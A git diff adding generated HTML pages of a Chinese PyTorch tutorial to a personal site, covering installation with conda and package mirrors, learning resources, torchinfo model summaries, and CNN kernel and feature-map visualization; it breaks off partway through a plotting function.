  • 如果有任何想法可以联系我们DataWhale也欢迎大家多多提出issue。
  • +
+

八、关注我们​

+
Datawhale是一个专注AI领域的开源组织,以“for the learner,和学习者一起成长”为愿景,构建对学习者最有价值的开源学习社区。关注我们,一起学习成长。
+

LICENSE​

+

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第一章/1.1 PyTorch简介/index.html b/en/docs/个人知识库/AI/PyTorch/第一章/1.1 PyTorch简介/index.html new file mode 100644 index 0000000..6e921e0 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第一章/1.1 PyTorch简介/index.html @@ -0,0 +1,65 @@ + + + + + +1.1 PyTorch简介.md | wjlin0 + + + + + + + +

1.1 PyTorch简介.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:10
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

1.1 PyTorch简介

+

PyTorch是由Meta AI(Facebook)人工智能研究小组开发的一种基于Lua编写的Torch库的Python实现的深度学习库,目前被广泛应用于学术界和工业界,相较于Tensorflow2.x,PyTorch在API的设计上更加简洁、优雅和易懂。因此本课程我们选择PyTorch来进行开源学习。

+

经过本节的学习,你将收获:

+
    +
  • 了解PyTorch的发展流程
  • +
  • 了解PyTorch相较于其他框架的优势
  • +
+

1.1.1 PyTorch的发展​

+

“All in PyTorch”,对于PyTorch的发展我们只能用一句话来概况了,PyTorch自从推出就获得巨大的关注并受到了很多人的喜欢,而最直观的莫过于下面数据所表现的简明直了。

+

下图来自Paper with code网站,颜色面积代表使用该框架的论文公开代码库的数量,我们可以发现截至2021年6月,PyTorch的代码实现已经是TensorFlow实现的4倍,我们也可以看红色部分的PyTorch正在取代他的老大哥称霸学术圈,PyTorch会借助ONNX所带来的落地能力在工业界逐渐走向主导地位。

+

总的来说,我们必须承认到现在为止PyTorch 1.x还是有不如别的框架的地方,但是我们相信PyTorch 2.x版本会给我们带来更大的惊喜。

+

框架对比图

+

1.1.2 PyTorch的优势​

+
    +
  • 更加简洁,相比于其他的框架,PyTorch的框架更加简洁,易于理解。PyTorch的设计追求最少的封装,避免重复造轮子。
  • +
  • 上手快,掌握numpy和基本的深度学习知识就可以上手。
  • +
  • PyTorch有着良好的文档和社区支持,作者亲自维护的论坛供用户交流和求教问题。Meta AI(Facebook AI)对PyTorch提供了强力支持,作为当今排名前三的深度学习研究机构,MAIR的支持足以确保PyTorch获得持续的开发更新。
  • +
  • 项目开源,在Github上有越来越多的开源代码是使用PyTorch进行开发。
  • +
  • 可以更好的调试代码,PyTorch可以让我们逐行执行我们的脚本。这就像调试NumPy一样 – 我们可以轻松访问代码中的所有对象,并且可以使用打印语句(或其他标准的Python调试)来查看方法失败的位置。
  • +
  • 越来越完善的扩展库,活力旺盛,正处在当打之年。
  • +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第一章/1.2 PyTorch的安装/index.html b/en/docs/个人知识库/AI/PyTorch/第一章/1.2 PyTorch的安装/index.html new file mode 100644 index 0000000..b141cf8 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第一章/1.2 PyTorch的安装/index.html @@ -0,0 +1,210 @@ + + + + + +1.2 PyTorch的安装.md | wjlin0 + + + + + + + +

1.2 PyTorch的安装.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:10
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

1.2 PyTorch的安装

+

PyTorch的安装是我们学习PyTorch的第一步,也是经常出错的一步。在安装PyTorch时,我们通常使用的是Anaconda/miniconda+Pytorch+ IDE 的流程。

+

经过本节的学习,你将收获:

+
    +
  • Anaconda/miniconda的安装及其常见命令
  • +
  • PyTorch的安装流程
  • +
  • 如何选择一个适合自己的PyTorch版本
  • +
+

1.2.1 Anaconda的安装​

+

在数据科学和最近很火的深度学习中,要用到大量成熟的package。我们一个个安装 package 很麻烦,而且很容易出现包之间的依赖不适配的问题。而 Anaconda/miniconda的出现很好的解决了我们的问题,它集成了常用于科学分析(机器学习, 深度学习)的大量package,并且借助于conda我们可以实现对虚拟Python环境的管理。

+

Step 1:安装Anaconda/miniconda​

+

登陆Anaconda | Individual Edition,选择相应系统DownLoad,此处以Windows为例(Linux可以点击链接选择合适的版本进行下载或者通过官方提供的shell脚本进行下载):

+

anaconda

+

Step 2:检验是否安装成功​

+

在开始页找到Anaconda Prompt,一般在Anaconda3的文件夹下,( Linux在终端下就行了)

+

prompt

+

Step 3:创建虚拟环境​

+

Linux在终端(Ctrl+Alt+T)进行,Windows在Anaconda Prompt进行

+

查看现存虚拟环境​

+

查看已经安装好的虚拟环境,可以看到我们这里已经有两个环境存在了

+
conda env list 
+

env_list

+

创建虚拟环境​

+

在深度学习和机器学习中,我们经常会创建不同版本的虚拟环境来满足我们的一些需求。下面我们介绍创建虚拟环境的命令。

+
conda create -n env_name python==version 
# 注:将env_name 替换成你的环境的名称,version替换成对应的版本号,eg:3.8
+

+

注:

+
    +
  1. 这里忽略我们的warning,因为我们测试的时候已经安了又卸载一遍了,正常时是不会有warning的。
  2. +
  3. 在选择Python版本时,不要选择太高,建议选择3.6-3.8,版本过高会导致相关库不适配。
  4. +
+

安装包​

+
conda install package_name 
# 注:package_name 替换成对应的包的名称,eg: pandas
+

卸载包​

+
conda remove package_name
# 注:package_name 替换成对应的包的名称,eg: pandas
+

显示所有安装的包​

+
conda list
+

删除虚拟环境命令​

+
conda remove -n env_name --all 
# 注:env_name 替换成对应的环境的名称
+

激活环境命令​

+
conda activate env_name
# 注:env_name 替换成对应的环境的名称
+

退出当前环境​

+
conda deactivate
+

关于更多的命令,我们可以查看Anaconda/miniconda官方提供的命令,官网链接:点击这里

+

Step 4:换源​

+

在安装package时,我们经常会使用pip install package_name和conda install package_name 的命令,但是一些package下载速度会很慢,因此我们需要进行换源,换成国内源,加快我们的下载速度。以下便是两种对应方式的永久换源。如果我们仅仅想为单次下载换源可以使用pip install package_name -i https://pypi.tuna.tsinghua.edu.cn/simple进行下载。

+

pip换源​

+
Linux:​
+

Linux下的换源,我们首先需要在用户目录下新建文件夹.pip,并且在文件夹内新建文件pip.conf,具体命令如下

+
cd ~
mkdir .pip/
vi pip.conf
+

随后,我们需要在pip.conf添加下方的内容:

+
[global]
index-url = http://pypi.douban.com/simple
[install]
use-mirrors =true
mirrors =http://pypi.douban.com/simple/
trusted-host =pypi.douban.com
+
Windows:​
+

1、文件管理器文件路径地址栏敲:%APPDATA% 回车,快速进入 C:\Users\电脑用户\AppData\Roaming 文件夹中 +2、新建 pip 文件夹并在文件夹中新建 pip.ini 配置文件 +3、我们需要在pip.ini 配置文件内容,我们可以选择使用记事本打开,输入以下内容,并按下ctrl+s保存,在这里我们使用的是豆瓣源为例子。

+
[global]
index-url = http://pypi.douban.com/simple
[install]
use-mirrors =true
mirrors =http://pypi.douban.com/simple/
trusted-host =pypi.douban.com
+

conda换源(清华源)官方换源帮助​

+
Windows系统:​
+

TUNA 提供了 Anaconda 仓库与第三方源的镜像,各系统都可以通过修改用户目录下的 .condarc 文件。Windows 用户无法直接创建名为 .condarc 的文件,可先执行conda config --set show_channel_urls yes生成该文件之后再修改。

+

完成这一步后,我们需要修改C:\Users\User_name\.condarc这个文件,打开后将文件里原始内容删除,将下面的内容复制进去并保存。

+
channels:
- defaults
show_channel_urls: true
default_channels:
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2
custom_channels:
conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
+

这一步完成后,我们需要打开Anaconda Prompt 运行 conda clean -i 清除索引缓存,保证用的是镜像站提供的索引。

+
Linux系统:​
+

在Linux系统下,我们还是需要修改.condarc来进行换源

+
cd ~
vi .condarc
+

在vim下,我们需要输入i进入编辑模式,将上方内容粘贴进去,按ESC退出编辑模式,输入:wq保存并退出

+

换源内容

+

我们可以通过conda config --show default_channels检查下是否换源成功,如果出现下图内容,即代表我们换源成功。

+

+

同时,我们仍然需要conda clean -i 清除索引缓存,保证用的是镜像站提供的索引。

+

1.2.2 查看显卡​

+

该部分如果仅仅只有CPU或者集显的小伙伴们可以跳过该部分

+

windows:​

+

我们可以通过在cmd/terminal中输入nvidia-smi(Linux和Win命令一样)、使用NVIDIA控制面板和使用任务管理器查看自己是否有NVIDIA的独立显卡及其型号

+

查看GPU

+

查看显卡

+

linux:​

+

Linux查看GPU

+

我们需要看下版本号,看自己可以兼容的CUDA版本,等会安装PyTorch时是可以向下兼容的。具体适配表如下图所示。

+

适配表

+

1.2.3 安装PyTorch​

+

Step 1:登录PyTorch官网​

+

+

Step 2:Install​

+

+

这个界面我们可以选择本地开始(Start Locally),云开发(Cloud Partners),以前的Pytorch版本(Previous PyTorch Versions),移动端开发(Mobile),在此处我们需要进行本地安装。

+

Step 3:选择命令​

+

我们需要结合自己情况选择命令并复制下来,然后使用conda下载或者pip下载(建议conda安装)

+

打开Terminal,输入conda activate env_name(env_name 为你对应的环境名称),切换到对应的环境下面,我们就可以进行PyTorch的安装了。

+

+

注:

+
    +
  1. +

    Stable代表的是稳定版本,Preview代表的是先行版本

    +
  2. +
  3. +

    可以结合电脑是否有显卡,选择CPU版本还是CUDA版本,CUDA版本需要拥有独显且是NVIDIA的GPU

    +
  4. +
  5. +

    官方建议我们使用Anaconda/miniconda来进行管理

    +
  6. +
  7. +

    关于安装的系统要求

    +
      +
    1. Windows: +
        +
      1. Windows 7及更高版本;建议使用Windows 10或者更高的版本
      2. +
      3. Windows Server 2008 r2 及更高版本
      4. +
      +
    2. +
    3. Linux:以常见的CentOS和Ubuntu为例 +
        +
      1. CentOS, 最低版本7.3-1611
      2. +
      3. Ubuntu, 最低版本 13.04,这里会导致cuda安装的最大版本不同
      4. +
      +
    4. +
    5. macOS: +
        +
      1. macOS 10.10及其以上
      2. +
      +
    6. +
    +
  8. +
  9. +

    有些电脑所支持的cuda版本<10.2,此时我们需要进行手动降级,即就是cudatoolkit = 你所适合的版本,但是这里需要注意下一定要保持PyTorch和cudatoolkit的版本适配。查看Previous PyTorch Versions | PyTorch

    +
  10. +
+

Step 4:在线下载​

+

如果我们使用的Anaconda Prompt进行下载的话,我们需要先通过conda activate env_name,激活我们的虚拟环境中去,再输入命令。

+

注: 我们需要要把下载指令后面的 -c pytorch 去掉以保证使用清华源下载,否则还是默认从官网下载。

+

Step 5:离线下载​

+

Windows:​

+

在安装的过程中,我们可能会出现一些奇奇怪怪的问题,导致在线下载不成功,我们也可以使用离线下载的方法进行。

+

下载地址:https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/

+

通过上面下载地址,我们需要下载好对应版本的pytorch和 torchvision 包,然后打开Anaconda Prompt/Terminal中,进入我们安装的路径下。

+
cd package_location
conda activate env_name
+

接下来输入以下命令安装两个包

+
conda install --offline pytorch压缩包的全称(后缀都不能忘记)
conda install --offline torchvision压缩包的全称(后缀都不能忘记)
+

Step 6:检验是否安装成功​

+

进入所在的虚拟环境,紧接着输入python,在输入下面的代码。

+
import torch

torch.cuda.is_available()
+
False
+

这条命令意思是检验是否可以调用cuda,如果我们安装的是CPU版本的话会返回False,能够调用GPU的会返回True。一般这个命令不报错的话就证明安装成功。

+
    +
  • Windows系统
  • +
+

验证安装

+
    +
  • Linux系统
  • +
+

+

PyTorch的安装绝对是一个容易上火的过程,而且网络上的教程很可能对应早期的版本,或是会出现一些奇奇怪怪的问题,但是别担心,多装几次多遇到点奇奇怪怪的问题就好了!

+

1.2.4 PyCharm安装(可选操作)​

+

VSCode这些也是ok的,安装PyCharm非必须操作

+

Linux,Windows此处操作相同,我们建议Windows的同学安装Pycharm即可,因为在Linux上pycharm并不是主流的IDE。

+

Step 1:进入官网下载​

+

如果是学生的话可以使用学生邮箱注册并下载Professional版本,Community版本也基本能满足我们的日常需求。

+

Pycharm安装

+

Step 2:配置环境​

+

我们需要将虚拟环境设为我们的编译器,具体操作:File --> Settings --> Project:你的项目名称--> Python Interpreter

+

进去后,我们可以看见他使用的是默认的base环境,现在我们需要将这个环境设置成我们的test环境,点击齿轮,选择Add

+

改环境

+

点击Conda Environment ,选择Existing environment,将Interpreter设置为test环境下的python.exe

+

改环境

+

注:如果在pycharm的环境时,想进入我们的虚拟环境,要使用conda activate 名称

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第一章/1.3 PyTorch相关资源/index.html b/en/docs/个人知识库/AI/PyTorch/第一章/1.3 PyTorch相关资源/index.html new file mode 100644 index 0000000..20a3d45 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第一章/1.3 PyTorch相关资源/index.html @@ -0,0 +1,66 @@ + + + + + +1.3 PyTorch相关资源.md | wjlin0 + + + + + + + +

1.3 PyTorch相关资源.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:10
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

1.3 PyTorch相关资源

+

PyTorch之所以被越来越多的人使用,不仅在于其完备的教程,还受益于许多相关的资源和完善的论坛。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch的优质学习资源
  • +
+

1.3.1 PyTorch学习资源​

+
    +
  1. Awesome-pytorch-list:目前已获12K Star,包含了NLP,CV,常见库,论文实现以及Pytorch的其他项目。
  2. +
  3. PyTorch官方文档:官方发布的文档,十分丰富。
  4. +
  5. Pytorch-handbook:GitHub上已经收获14.8K,pytorch手中书。
  6. +
  7. PyTorch官方社区:PyTorch拥有一个活跃的社区,在这里你可以和开发pytorch的人们进行交流。
  8. +
  9. PyTorch官方tutorials:官方编写的tutorials,可以结合colab边动手边学习
  10. +
  11. 动手学深度学习:动手学深度学习是由李沐老师主讲的一门深度学习入门课,拥有成熟的书籍资源和课程资源,在B站,Youtube均有回放。
  12. +
  13. Awesome-PyTorch-Chinese:常见的中文优质PyTorch资源
  14. +
  15. labml.ai Deep Learning Paper Implementations:手把手实现经典网络代码
  16. +
  17. YSDA course in Natural Language Processing:YSDA course in Natural Language Processing
  18. +
  19. huggingface:hugging face
  20. +
  21. ModelScope: 魔搭社区
  22. +
+

除此之外,还有很多学习pytorch的资源在b站,stackoverflow,知乎......未来大家还需要多多探索,我们希望大家可以在实战中不断学习,不断给予我们课程反馈。

+

以上便是第一章的内容了,能力有限,希望各位一定要带着自己的想法去思考问题,也希望各位能指出文档中的问题,我们会不断改进内容,给大家呈现一个更好的教程。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第一章/index.html b/en/docs/个人知识库/AI/PyTorch/第一章/index.html new file mode 100644 index 0000000..0250970 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第一章/index.html @@ -0,0 +1,46 @@ + + + + + +第一章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第七章/7.1 可视化网络结构/index.html b/en/docs/个人知识库/AI/PyTorch/第七章/7.1 可视化网络结构/index.html new file mode 100644 index 0000000..2331f3c --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第七章/7.1 可视化网络结构/index.html @@ -0,0 +1,74 @@ + + + + + +7.1 可视化网络结构.md | wjlin0 + + + + + + + +

7.1 可视化网络结构.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.1 可视化网络结构

+

随着深度神经网络做的的发展,网络的结构越来越复杂,我们也很难确定每一层的输入结构,输出结构以及参数等信息,这样导致我们很难在短时间内完成debug。因此掌握一个可以用来可视化网络结构的工具是十分有必要的。类似的功能在另一个深度学习库Keras中可以调用一个叫做model.summary()的API来很方便地实现,调用后就会显示我们的模型参数,输入大小,输出大小,模型的整体参数等,但是在PyTorch中没有这样一种便利的工具帮助我们可视化我们的模型结构。

+

为了解决这个问题,人们开发了torchinfo工具包 ( torchinfo是由torchsummary和torchsummaryX重构出的库) 。本节我们将介绍如何使用torchinfo来可视化网络结构。

+

经过本节的学习,你将收获:

+
    +
  • 可视化网络结构的方法
  • +
+

7.1.1 使用print函数打印模型基础信息​

+

在本节中,我们将使用ResNet18的结构进行展示。

+
import torchvision.models as models
model = models.resnet18()
+

通过上面的两步,我们就得到resnet18的模型结构。在学习torchinfo之前,让我们先看下直接print(model)的结果。

+
ResNet(
(conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)
(layer1): Sequential(
(0): Bottleneck(
(conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)
(bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(downsample): Sequential(
(0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
)
)
... ...
)
(avgpool): AdaptiveAvgPool2d(output_size=(1, 1))
(fc): Linear(in_features=2048, out_features=1000, bias=True)
)
+

我们可以发现单纯的print(model),只能得出基础构件的信息,既不能显示出每一层的shape,也不能显示对应参数量的大小,为了解决这些问题,我们就需要介绍出我们今天的主人公torchinfo。

+

7.1.2 使用torchinfo可视化网络结构​

+
    +
  • torchinfo的安装
  • +
+
# 安装方法一
pip install torchinfo
# 安装方法二
conda install -c conda-forge torchinfo
+
    +
  • torchinfo的使用
  • +
+

trochinfo的使用也是十分简单,我们只需要使用torchinfo.summary()就行了,必需的参数分别是model,input_size[batch_size,channel,h,w],更多参数可以参考documentation,下面让我们一起通过一个实例进行学习。

+
import torchvision.models as models
from torchinfo import summary
resnet18 = models.resnet18() # 实例化模型
summary(resnet18, (1, 3, 224, 224)) # 1:batch_size 3:图片的通道数 224: 图片的高宽
+
    +
  • torchinfo的结构化输出
  • +
+
=========================================================================================
Layer (type:depth-idx) Output Shape Param #
=========================================================================================
ResNet -- --
├─Conv2d: 1-1 [1, 64, 112, 112] 9,408
├─BatchNorm2d: 1-2 [1, 64, 112, 112] 128
├─ReLU: 1-3 [1, 64, 112, 112] --
├─MaxPool2d: 1-4 [1, 64, 56, 56] --
├─Sequential: 1-5 [1, 64, 56, 56] --
│ └─BasicBlock: 2-1 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-1 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-2 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-3 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-4 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-5 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-6 [1, 64, 56, 56] --
│ └─BasicBlock: 2-2 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-7 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-8 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-9 [1, 64, 56, 56] --
│ │ └─Conv2d: 3-10 [1, 64, 56, 56] 36,864
│ │ └─BatchNorm2d: 3-11 [1, 64, 56, 56] 128
│ │ └─ReLU: 3-12 [1, 64, 56, 56] --
├─Sequential: 1-6 [1, 128, 28, 28] --
│ └─BasicBlock: 2-3 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-13 [1, 128, 28, 28] 73,728
│ │ └─BatchNorm2d: 3-14 [1, 128, 28, 28] 256
│ │ └─ReLU: 3-15 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-16 [1, 128, 28, 28] 147,456
│ │ └─BatchNorm2d: 3-17 [1, 128, 28, 28] 256
│ │ └─Sequential: 3-18 [1, 128, 28, 28] 8,448
│ │ └─ReLU: 3-19 [1, 128, 28, 28] --
│ └─BasicBlock: 2-4 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-20 [1, 128, 28, 28] 147,456
│ │ └─BatchNorm2d: 3-21 [1, 128, 28, 28] 256
│ │ └─ReLU: 3-22 [1, 128, 28, 28] --
│ │ └─Conv2d: 3-23 [1, 128, 28, 28] 147,456
│ │ └─BatchNorm2d: 3-24 [1, 128, 28, 28] 256
│ │ └─ReLU: 3-25 [1, 128, 28, 28] --
├─Sequential: 1-7 [1, 256, 14, 14] --
│ └─BasicBlock: 2-5 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-26 [1, 256, 14, 14] 294,912
│ │ └─BatchNorm2d: 3-27 [1, 256, 14, 14] 512
│ │ └─ReLU: 3-28 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-29 [1, 256, 14, 14] 589,824
│ │ └─BatchNorm2d: 3-30 [1, 256, 14, 14] 512
│ │ └─Sequential: 3-31 [1, 256, 14, 14] 33,280
│ │ └─ReLU: 3-32 [1, 256, 14, 14] --
│ └─BasicBlock: 2-6 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-33 [1, 256, 14, 14] 589,824
│ │ └─BatchNorm2d: 3-34 [1, 256, 14, 14] 512
│ │ └─ReLU: 3-35 [1, 256, 14, 14] --
│ │ └─Conv2d: 3-36 [1, 256, 14, 14] 589,824
│ │ └─BatchNorm2d: 3-37 [1, 256, 14, 14] 512
│ │ └─ReLU: 3-38 [1, 256, 14, 14] --
├─Sequential: 1-8 [1, 512, 7, 7] --
│ └─BasicBlock: 2-7 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-39 [1, 512, 7, 7] 1,179,648
│ │ └─BatchNorm2d: 3-40 [1, 512, 7, 7] 1,024
│ │ └─ReLU: 3-41 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-42 [1, 512, 7, 7] 2,359,296
│ │ └─BatchNorm2d: 3-43 [1, 512, 7, 7] 1,024
│ │ └─Sequential: 3-44 [1, 512, 7, 7] 132,096
│ │ └─ReLU: 3-45 [1, 512, 7, 7] --
│ └─BasicBlock: 2-8 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-46 [1, 512, 7, 7] 2,359,296
│ │ └─BatchNorm2d: 3-47 [1, 512, 7, 7] 1,024
│ │ └─ReLU: 3-48 [1, 512, 7, 7] --
│ │ └─Conv2d: 3-49 [1, 512, 7, 7] 2,359,296
│ │ └─BatchNorm2d: 3-50 [1, 512, 7, 7] 1,024
│ │ └─ReLU: 3-51 [1, 512, 7, 7] --
├─AdaptiveAvgPool2d: 1-9 [1, 512, 1, 1] --
├─Linear: 1-10 [1, 1000] 513,000
=========================================================================================
Total params: 11,689,512
Trainable params: 11,689,512
Non-trainable params: 0
Total mult-adds (G): 1.81
=========================================================================================
Input size (MB): 0.60
Forward/backward pass size (MB): 39.75
Params size (MB): 46.76
Estimated Total Size (MB): 87.11
=========================================================================================
+

我们可以看到torchinfo提供了更加详细的信息,包括模块信息(每一层的类型、输出shape和参数量)、模型整体的参数量、模型大小、一次前向或者反向传播需要的内存大小等

+

注意:

+

但你使用的是colab或者jupyter notebook时,想要实现该方法,summary()一定是该单元(即notebook中的cell)的返回值,否则我们就需要使用print(summary(...))来可视化。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第七章/7.2 CNN卷积层可视化/index.html b/en/docs/个人知识库/AI/PyTorch/第七章/7.2 CNN卷积层可视化/index.html new file mode 100644 index 0000000..0a4374e --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第七章/7.2 CNN卷积层可视化/index.html @@ -0,0 +1,111 @@ + + + + + +7.2 CNN卷积层可视化.md | wjlin0 + + + + + + + +

7.2 CNN卷积层可视化.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.2 CNN可视化

+

卷积神经网络(CNN)是深度学习中非常重要的模型结构,它广泛地用于图像处理,极大地提升了模型表现,推动了计算机视觉的发展和进步。但CNN是一个“黑盒模型”,人们并不知道CNN是如何获得较好表现的,由此带来了深度学习的可解释性问题。如果能理解CNN工作的方式,人们不仅能够解释所获得的结果,提升模型的鲁棒性,而且还能有针对性地改进CNN的结构以获得进一步的效果提升。

+

理解CNN的重要一步是可视化,包括可视化特征是如何提取的、提取到的特征的形式以及模型在输入数据上的关注点等。本节我们就从上述三个方面出发,介绍如何在PyTorch的框架下完成CNN模型的可视化。

+

经过本节的学习,你将收获:

+
    +
  • 可视化CNN卷积核的方法
  • +
  • 可视化CNN特征图的方法
  • +
  • 可视化CNN显著图(class activation map)的方法
  • +
+

7.2.1 CNN卷积核可视化​

+

卷积核在CNN中负责提取特征,可视化卷积核能够帮助人们理解CNN各个层在提取什么样的特征,进而理解模型的工作原理。例如在Zeiler和Fergus 2013年的paper中就研究了CNN各个层的卷积核的不同,他们发现靠近输入的层提取的特征是相对简单的结构,而靠近输出的层提取的特征就和图中的实体形状相近了,如下图所示:

+

layer2

+

layer3

+

layer4

+

在PyTorch中可视化卷积核也非常方便,核心在于特定层的卷积核即特定层的模型权重,可视化卷积核就等价于可视化对应的权重矩阵。下面给出在PyTorch中可视化卷积核的实现方案,以torchvision自带的VGG11模型为例。

+

首先加载模型,并确定模型的层信息:

+
import torch
from torchvision.models import vgg11

model = vgg11(pretrained=True)
print(dict(model.features.named_children()))
+
{'0': Conv2d(3, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'1': ReLU(inplace=True),
'2': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'3': Conv2d(64, 128, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'4': ReLU(inplace=True),
'5': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'6': Conv2d(128, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'7': ReLU(inplace=True),
'8': Conv2d(256, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'9': ReLU(inplace=True),
'10': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'11': Conv2d(256, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'12': ReLU(inplace=True),
'13': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'14': ReLU(inplace=True),
'15': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False),
'16': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'17': ReLU(inplace=True),
'18': Conv2d(512, 512, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1)),
'19': ReLU(inplace=True),
'20': MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)}
+

卷积核对应的应为卷积层(Conv2d),这里以第“3”层为例,可视化对应的参数:

+
conv1 = dict(model.features.named_children())['3']
kernel_set = conv1.weight.detach()
num = len(conv1.weight.detach())
print(kernel_set.shape)
for i in range(0,num):
i_kernel = kernel_set[i]
plt.figure(figsize=(20, 17))
if (len(i_kernel)) > 1:
for idx, filer in enumerate(i_kernel):
plt.subplot(9, 9, idx+1)
plt.axis('off')
plt.imshow(filer[ :, :].detach(),cmap='bwr')
+
torch.Size([128, 64, 3, 3])
+

由于第“3”层的特征图由64维变为128维,因此共有128*64个卷积核,其中部分卷积核可视化效果如下图所示:

+

kernel

+

7.2.2 CNN特征图可视化方法​

+

与卷积核相对应,输入的原始图像经过每次卷积层得到的数据称为特征图,可视化卷积核是为了看模型提取哪些特征,可视化特征图则是为了看模型提取到的特征是什么样子的。

+

获取特征图的方法有很多种,可以从输入开始,逐层做前向传播,直到想要的特征图处将其返回。尽管这种方法可行,但是有些麻烦了。在PyTorch中,提供了一个专用的接口使得网络在前向传播过程中能够获取到特征图,这个接口的名称非常形象,叫做hook。可以想象这样的场景,数据通过网络向前传播,网络某一层我们预先设置了一个钩子,数据传播过后钩子上会留下数据在这一层的样子,读取钩子的信息就是这一层的特征图。具体实现如下:

+
class Hook(object):
def __init__(self):
self.module_name = []
self.features_in_hook = []
self.features_out_hook = []

def __call__(self,module, fea_in, fea_out):
print("hooker working", self)
self.module_name.append(module.__class__)
self.features_in_hook.append(fea_in)
self.features_out_hook.append(fea_out)
return None


def plot_feature(model, idx, inputs):
hh = Hook()
model.features[idx].register_forward_hook(hh)

# forward_model(model,False)
model.eval()
_ = model(inputs)
print(hh.module_name)
print((hh.features_in_hook[0][0].shape))
print((hh.features_out_hook[0].shape))

out1 = hh.features_out_hook[0]

total_ft = out1.shape[1]
first_item = out1[0].cpu().clone()

plt.figure(figsize=(20, 17))


for ftidx in range(total_ft):
if ftidx > 99:
break
ft = first_item[ftidx]
plt.subplot(10, 10, ftidx+1)

plt.axis('off')
